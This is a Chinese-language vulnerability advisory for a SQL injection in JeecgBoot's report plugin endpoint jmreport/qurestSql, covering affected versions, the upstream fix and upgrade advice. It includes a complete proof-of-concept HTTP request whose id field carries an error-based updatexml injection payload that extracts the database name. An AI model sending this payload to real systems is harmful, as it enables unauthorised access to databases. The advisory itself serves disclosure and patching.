1.漏洞描述
JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。
jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。
2.影响版本
Jeecg-Boot<=3.5.1
3.影响范围
4.漏洞分析
漏洞产生点在积木报表插件内,查看更新的3.5.1的版本更新
https://github.com/jeecgboot/jeecg-boot/compare/v3.5.1last...master
更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法
jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则
这个修复是针对于后端的SQL注入,/sys/duplicate/check
目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包
目前积木官方的jar包已升级。
关注积木5月份的升级日志
Poc:
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; or-IN) AppleWebKit/535.7.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B116 Safari/6535.7.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId": "1316997232402231298", "id": "1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}
5.修复建议
建议更新当前系统或软件至最新版,完成漏洞的修复。